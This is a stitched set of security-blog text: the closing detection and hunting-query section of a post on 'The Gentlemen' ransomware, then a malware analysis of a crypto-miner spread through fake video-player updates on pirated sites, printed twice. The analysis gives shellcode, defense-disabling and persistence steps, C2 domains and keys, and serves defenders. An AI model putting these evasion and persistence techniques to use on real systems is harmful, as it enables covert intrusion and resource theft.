• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully. 
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block process creations originating from PSExec and WMI commands if you’re managing your devices with Intune or another MDM solution. This rule is incompatible with management through Microsoft Endpoint Configuration Manager. 
  • Use advanced protection against ransomware

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Ransom:Win64/Gentlemen

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware-linked threat actor detected
• Ransomware behavior detected in the file system
• Possible ransomware activity
• File backups were deleted
• Potential human-operated malicious activity
• Possible data exfiltration
• Suspicious wallpaper change

The following alerts might indicate threat activity associated with The Gentlemen ransomware if Defender for Endpoint is set to block mode.

• ‘Gentlemen’ ransomware was detected
• ‘Gentlemen’ ransomware was prevented

Microsoft Defender for Cloud Apps

The following alert might indicate threat activity associated with this threat. This alert, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware activity

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Tool profile: Gentlemen ransomware
• Threat overview profile: Human-operated ransomware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Known The Gentlemen ransomware files

Search for the file hashes associated with The Gentlemen ransomware activity identified in this report. 

let fileHashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
union
(
   DeviceFileEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
   DeviceEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = 
SHA256, SourceTable = "DeviceEvents"
),
(
   DeviceImageLoadEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
   DeviceProcessEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect web sessions IP and file hash indicators of compromise using Advanced Security Information Model (ASIM)

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic([]);
let ioc_sha_hashes =dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect files hashes indicators of compromise using ASIM

The following query checks IP addresses and file hash IOCs across data sources supported by ASIM file event parser:

// file hash list - imFileEvent
let ioc_sha_hashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Indicators of compromise

Acknowledgements

• License to Encrypt: The “Gentlemen” Make Their Move. Cybereason (accessed 2026-02-06)
• Unmasking The Gentlemen Ransomware: Tactics, Techniques, and Procedures Revealed. TrendMicro (accessed 2026-02-06)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post The Gentlemen ransomware: Dissecting a self-propagating Go encryptor appeared first on Microsoft Security Blog.

Introduction

In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.

Clicking the link downloaded a ZIP archive with the following contents:

The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.

At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.

Link to previous campaigns

The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.

The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.

The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).

In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.

This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.

Potential distribution scale

As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.

The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.

The downloadable archive

The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.

The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.

DLL analysis

Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.

Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:

Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.

This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:

The header was intentionally modified to make it into valid shellcode:

pop     r10
push    r10
call    $+5
pop     rcx 
sub     rcx, 9
mov     rax, rcx
add     rax, 5C1000h
call    rax
retn

This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.

Going forward, we will refer to this decrypted PE file as the main module.

Main module

The module’s behavior across its different operational stages is detailed below:

The main module is a modified fork of the SilentCryptoMiner project. We have previously analyzed miners leveraging this project in other posts: Scam Information and Event Management and Undercover miner: how YouTubers get pressed into distributing SilentCryptoMiner as a restriction bypass tool. However, this specific fork has not been documented anywhere before, which is why we decided to break down its unique features in detail in this article.

Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:

• Processor information
• The serial number of the C:/ drive
• Whether the process was launched with elevated privileges
• The process start time in Unix timestamp format

The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:

The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.

DNS query crafting code

The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:

1. The process is launched with elevated privileges.

In this case, preparatory steps precede the miner launch:

• The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
• It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
• Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.

powercfg /x -hibernate-timeout-ac 0
powercfg /x -hibernate-timeout-dc 0
powercfg /x -standby-timeout-ac 0
powercfg /x -standby-timeout-dc 0

This is done to maximize the miner’s potential runtime on the device.

Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.

Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:

• RAT agent → into conhost.exe
• Watchdog → into explorer.exe
• CPU miner → into explorer.exe
• GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.

2. The process is launched with standard privileges.

In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:

1. Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
2. If execution occurs from the Sandboxie folder:

• Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
• Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.

A successful installation requires all of the following conditions to be met:

1. The GoogleUpdateTaskMachineQC service exists in the system.
2. The Start value for this service is set to 2 (Automatic).
3. The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
4. This file exists on disk.

Watchdog

The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:

class FileContainer{
	wchar_t* fullPath; // full path to file
	size_t* ptrSize;   // pointer to file size
	uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};

As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.

To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.

RAT agent

This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:

• http://{domain}.space/index.php?authorization=1
• http://{domain}.site/index.php? backup version

The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.

At the time of writing this, the following domains were registered:

• 2025, April-July → 5d14vnfb[.]space
• 2025, August-November → r7mvjl67[.]space
• 2025, December → zgj1tam9[.]space
• 2026, January-March → jeaw520i[.]space
• 2026, April–July → qdmagva5[.]space

An example of a request to the C2 server is provided below:

As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.

This information is likely used by the backend to check for virtual or debugging environments.

The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):

struct PLAINTEXT{ 
uint32_t len_payload; 
uint8_t payload[len_payload]; 
uint32_t len_sign; 
uint8_t sign[len_signature]; 
}

The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.

Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.

The table below lists the four remote control commands for the RAT agent module.

The miners

Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.

Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:

• “{domain}.strangled.net”
• “{domain}.ignorelist.com”
• “{domain}.ftp.sh”
• “{domain}.zanity.net”

As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.

The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.

Conclusion

Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.

Our products detect this malware with the following Generic verdicts:

• HEUR:Trojan.Win64.DllHijack.gen
• MEM:Trojan.Win32.SEPEH.gen

Indicators of Compromise

Malicious archive download URL
urush1bar4[.]online

Malicious DLL libraries:
6A0FE6065D76715FEEBC1526D456DB73
7F624407AE489324E96A708A09C17E6F
02A43B3423367B9DDDC24CC7DFC070DF

RAT C&C:
5d14vnfb[.]space
r7mvjl67[.]space
zgj1tam9[.]space
jeaw520i[.]space
qdmagva5[.]space

Configuration retrieval address
107[.]172[.]212[.]235

UnamWebPanel control panel addresses
m4yuri[.]online
kristina[.]quest

Introduction

In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.

Clicking the link downloaded a ZIP archive with the following contents:

The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.

At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.

Link to previous campaigns

The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.

The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.

The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).

In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.

This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.

Potential distribution scale

As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.

The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.

The downloadable archive

The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.

The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.

DLL analysis

Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.

Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:

Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.

This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:

The header was intentionally modified to make it into valid shellcode:

pop     r10
push    r10
call    $+5
pop     rcx 
sub     rcx, 9
mov     rax, rcx
add     rax, 5C1000h
call    rax
retn

This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.

Going forward, we will refer to this decrypted PE file as the main module.

Main module

The module’s behavior across its different operational stages is detailed below:

The main module is a modified fork of the SilentCryptoMiner project. We have previously analyzed miners leveraging this project in other posts: Scam Information and Event Management and Undercover miner: how YouTubers get pressed into distributing SilentCryptoMiner as a restriction bypass tool. However, this specific fork has not been documented anywhere before, which is why we decided to break down its unique features in detail in this article.

Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:

• Processor information
• The serial number of the C:/ drive
• Whether the process was launched with elevated privileges
• The process start time in Unix timestamp format

The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:

The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.

DNS query crafting code

The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:

1. The process is launched with elevated privileges.

In this case, preparatory steps precede the miner launch:

• The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
• It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
• Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.

powercfg /x -hibernate-timeout-ac 0
powercfg /x -hibernate-timeout-dc 0
powercfg /x -standby-timeout-ac 0
powercfg /x -standby-timeout-dc 0

This is done to maximize the miner’s potential runtime on the device.

Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.

Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:

• RAT agent → into conhost.exe
• Watchdog → into explorer.exe
• CPU miner → into explorer.exe
• GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.

2. The process is launched with standard privileges.

In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:

1. Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
2. If execution occurs from the Sandboxie folder:

• Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
• Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.

A successful installation requires all of the following conditions to be met:

1. The GoogleUpdateTaskMachineQC service exists in the system.
2. The Start value for this service is set to 2 (Automatic).
3. The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
4. This file exists on disk.

Watchdog

The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:

class FileContainer{
	wchar_t* fullPath; // full path to file
	size_t* ptrSize;   // pointer to file size
	uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};

As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.

To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.

RAT agent

This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:

• http://{domain}.space/index.php?authorization=1
• http://{domain}.site/index.php? backup version

The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.

At the time of writing this, the following domains were registered:

• 2025, April-July → 5d14vnfb[.]space
• 2025, August-November → r7mvjl67[.]space
• 2025, December → zgj1tam9[.]space
• 2026, January-March → jeaw520i[.]space
• 2026, April–July → qdmagva5[.]space

An example of a request to the C2 server is provided below:

As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.

This information is likely used by the backend to check for virtual or debugging environments.

The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):

struct PLAINTEXT{ 
uint32_t len_payload; 
uint8_t payload[len_payload]; 
uint32_t len_sign; 
uint8_t sign[len_signature]; 
}

The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.

Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.

The table below lists the four remote control commands for the RAT agent module.

The miners

Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.

Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:

• “{domain}.strangled.net”
• “{domain}.ignorelist.com”
• “{domain}.ftp.sh”
• “{domain}.zanity.net”

As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.

The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.

Conclusion

Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.

Our products detect this malware with the following Generic verdicts:

• HEUR:Trojan.Win64.DllHijack.gen
• MEM:Trojan.Win32.SEPEH.gen

Indicators of Compromise

Malicious archive download URL
urush1bar4[.]online

Malicious DLL libraries:
6A0FE6065D76715FEEBC1526D456DB73
7F624407AE489324E96A708A09C17E6F
02A43B3423367B9DDDC24CC7DFC070DF

RAT C&C:
5d14vnfb[.]space
r7mvjl67[.]space
zgj1tam9[.]space
jeaw520i[.]space
qdmagva5[.]space

Configuration retrieval address
107[.]172[.]212[.]235

UnamWebPanel control panel addresses
m4yuri[.]online
kristina[.]quest